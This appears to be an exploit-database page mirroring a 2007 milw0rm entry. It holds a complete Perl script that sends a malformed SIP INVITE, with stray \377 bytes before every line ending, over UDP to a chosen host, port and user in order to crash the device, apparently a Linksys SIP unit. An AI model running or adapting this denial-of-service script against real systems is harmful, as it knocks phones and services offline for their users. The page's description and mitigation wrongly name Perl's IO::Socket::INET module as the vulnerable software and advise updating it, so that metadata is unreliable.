header-logo
Suggest Exploit
vendor:
IO::Socket::INET
by:
milw0rm.com
7.5
CVSS
HIGH
Remote Denial of Service
Not provided
CWE
Product Name: IO::Socket::INET
Affected Version From: Not provided
Affected Version To: Not provided
Patch Exists: NO
Related CWE: Not provided
CPE: Not provided
Metasploit:
Other Scripts:
Platforms Tested: Not provided
2007

Perl IO::Socket::INET Remote Denial of Service

This Perl script demonstrates a remote denial of service vulnerability in the IO::Socket::INET module. It sends a crafted SIP message to a specified destination IP address, port, and username, causing the target system to crash or become unresponsive. The vulnerability allows an attacker to disrupt the availability of the target system.

Mitigation:

Update the IO::Socket::INET module to a version that is not vulnerable. Alternatively, implement firewall rules to restrict access to the affected port or service.
Source

Exploit-DB raw data:

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

                       

$msg =

"INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\377\r

Via: SIP/2.0/UDP 192.168.1.2;rport;branch=00\377\r

Max-Forwards: 70\377\r

To: lynksys <sip:$ARGV[2]\@$ARGV[0]>\377\r

From: <sip:tucuman\@192.168.1.2>;tag=00\377\r

Call-ID: tucu\@192.168.1.2\377\r

CSeq: 24865 INVITE\377\r

Contact: <sip:tucu\@192.168.1.2>\377\r

Supported: 100rel\377\r

Content-Length: 0\377\r

\r\n";

 

$socket->send($msg);

# milw0rm.com [2007-04-24]

Navigation

Suggest Exploit

Services By CQR